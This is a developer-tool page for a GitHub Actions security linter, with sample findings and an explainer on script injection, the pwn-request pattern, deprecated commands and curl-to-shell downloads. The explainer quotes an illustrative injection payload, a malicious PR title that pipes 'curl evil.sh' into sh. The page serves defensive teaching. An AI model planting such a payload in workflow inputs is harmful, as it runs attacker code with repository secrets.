DevTools Hub

Search tools

Search for a developer tool

CI/CD

GitHub Actions Linter

Catch script-injection risk, the pwn-request pattern, deprecated commands, and other GitHub Actions security gotchas.

2 errors 3 warnings
  • Interpolates "github.event.comment.body" directly into the shell script. That text is attacker-controlled (an issue/PR title, body, comment, branch name, or commit message), so it can break out of its string context and execute as shell. Pass it through "env:" instead and reference it as a shell variable (e.g. "$TITLE"), which the shell never re-parses.
    jobs.greet.steps[0].run
  • Uses the "::set-output::" workflow command, which GitHub removed in 2023 — it's echoed as plain text now and silently does nothing. Write to "$GITHUB_OUTPUT" (for set-output) or "$GITHUB_STATE" (for save-state) instead.
    jobs.greet.steps[2].run
  • No "permissions:" set for this job (and none at the top level) — it inherits the repository's default GITHUB_TOKEN permissions, which is often broader than this job actually needs.
    jobs.greet
  • No "timeout-minutes" set — a hung step runs until GitHub's default job timeout (6 hours), tying up a runner and Actions minutes the whole time.
    jobs.greet.timeout-minutes
  • Pipes a remote download directly into a shell ("curl | bash" or similar). If that URL is ever compromised, redirected, or MITM'd, this executes arbitrary code with the job's full permissions. Download to a file, verify it (checksum/signature), then run it.
    jobs.greet.steps[1].run

What this checks

This looks for a different class of problem than a structural checker does — not "will this workflow run," but "should it run this way." The centerpiece check is script injection: a run: step that interpolates ${{ github.event.issue.title }} (or a PR title/body, comment body, commit message, or github.head_ref) directly into a shell script. All of those are text an issue or PR author fully controls, so a title like "; curl evil.sh | sh # doesn't just get echoed — it runs. The fix is always the same: pass the value through env: and reference it as a shell variable, which the shell never re-parses for special characters.

It also flags the "pwn request" pattern — a pull_request_target or workflow_run workflow (which runs with the base repo's secrets and write-level token) that explicitly checks out the pull request's own head ref, handing a fork's untrusted code those elevated privileges — along with deprecated/removed workflow commands (::set-output:: and ::save-state:: stopped working in 2023; ::set-env:: and ::add-path:: were deprecated earlier for a related injection vulnerability), a curl | bash-style remote script execution, hardcoded-looking credentials in env:/with: values, a missing permissions: block, and a missing timeout-minutes on a job.

What it doesn't do

This doesn't check whether a workflow is syntactically valid or will actually execute — for missing triggers, broken needs:/steps.<id>.outputs references, and structural errors, use GitHub Actions Validator. This also doesn't evaluate if: expressions or trace whether an interpolated value can actually be reached by an untrusted actor in your specific workflow — it flags the pattern itself, which is worth a second look even when a particular case turns out to be safe. And it only flags hardcoded literal credentials — for how a workflow's secrets.* references actually flow (which third-party actions receive them, whether they're echoed to logs), use GitHub Actions Secrets Checker.

FAQ

Isn't github.event.pull_request.title safe for a same-repo PR?

For a PR opened from a fork, the title is entirely attacker-chosen text, and pull_request workflows commonly run against forks. Even for trusted collaborators, treating it as untrusted costs nothing — the env: fix works identically either way and removes the question entirely.

Why is curl | bash only a warning?

It's an extremely common pattern for legitimate installer scripts (rustup, nvm, and many others ship one), so flagging it as broken would be wrong. It's flagged as a supply-chain risk worth being deliberate about, not a mistake.

Related tools